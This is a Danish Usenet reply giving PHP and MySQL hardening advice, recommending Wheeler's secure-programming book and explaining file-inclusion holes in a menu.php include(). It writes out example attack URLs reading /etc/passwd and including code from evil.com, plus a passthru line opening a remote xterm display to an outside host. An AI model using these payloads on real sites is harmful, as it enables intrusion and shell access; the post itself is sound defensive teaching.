Søren Jacob Lauritsen <devnull@nospam.sjl.dk> wrote:
>> Mange hjemmebryggede PHP scripts har utallige sikkerhedsfejl som
>> kan give en angriber kontrol over din maskine.
>
> Har du et link til et sted, der beskriver den slags fejl?
David Wheeler's Secure Programming er en rigtigt god bog. Brug tid paa
at laese det hele igennem, hvis du kan. Kort fortalt skal du i dit web
program sikre dig, at brugerinput ikke indeholder noget ondt inden det
bliver foert videre til systemet.
http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/book1.html
Det er saa smart at have en menu.php som tager et GET argument og smider
det direkte ind i en include() statement. Det betyder at en angriber kan
bede om
http://www.example.com/menu.php?show=/etc/passwd
eller endnu vaerre, angive en URL til en fil som er under hans kontrol:
http://www.example.com/menu.php?show=http://www.evil.com/foo.php
Angriberens foo.php kan f.eks. indeholde:
passthru("xterm -display wibble.foo.com:0");
og vupti, saa har han en kommandolinie der hurtigt kan forhoejes til root.
>> ang. MySQL:
>> Soerg for at den ikke koerer som root, og overvej at bruge UNIX
>> sockets fremfor BSD sockets til kommunikation med MySQL.
>
> Hvor bestemmer jeg, hvad den skal køre som? Kunne man med fordel
> oprette en user "mysql"? Eller er der en user "nobody", man benytter
> til den slags?
Du kan med fordel anvende en mysql bruger. Hvis du benytter "nobody" kan
du vaere uheldig at give angribere som kan paavirke filer gennem din
webserver direkte adgang til dine database filer. Det har du ikke lyst
til. Selve opsaetningen sker i konfigurationsfilen. Jeg mener den hedder
/etc/my.cnf men er ikke sikker.
--
I prefer the dark of the night, after midnight and before four-thirty,
when it's more bare, more hollow.
http://a.area51.dk/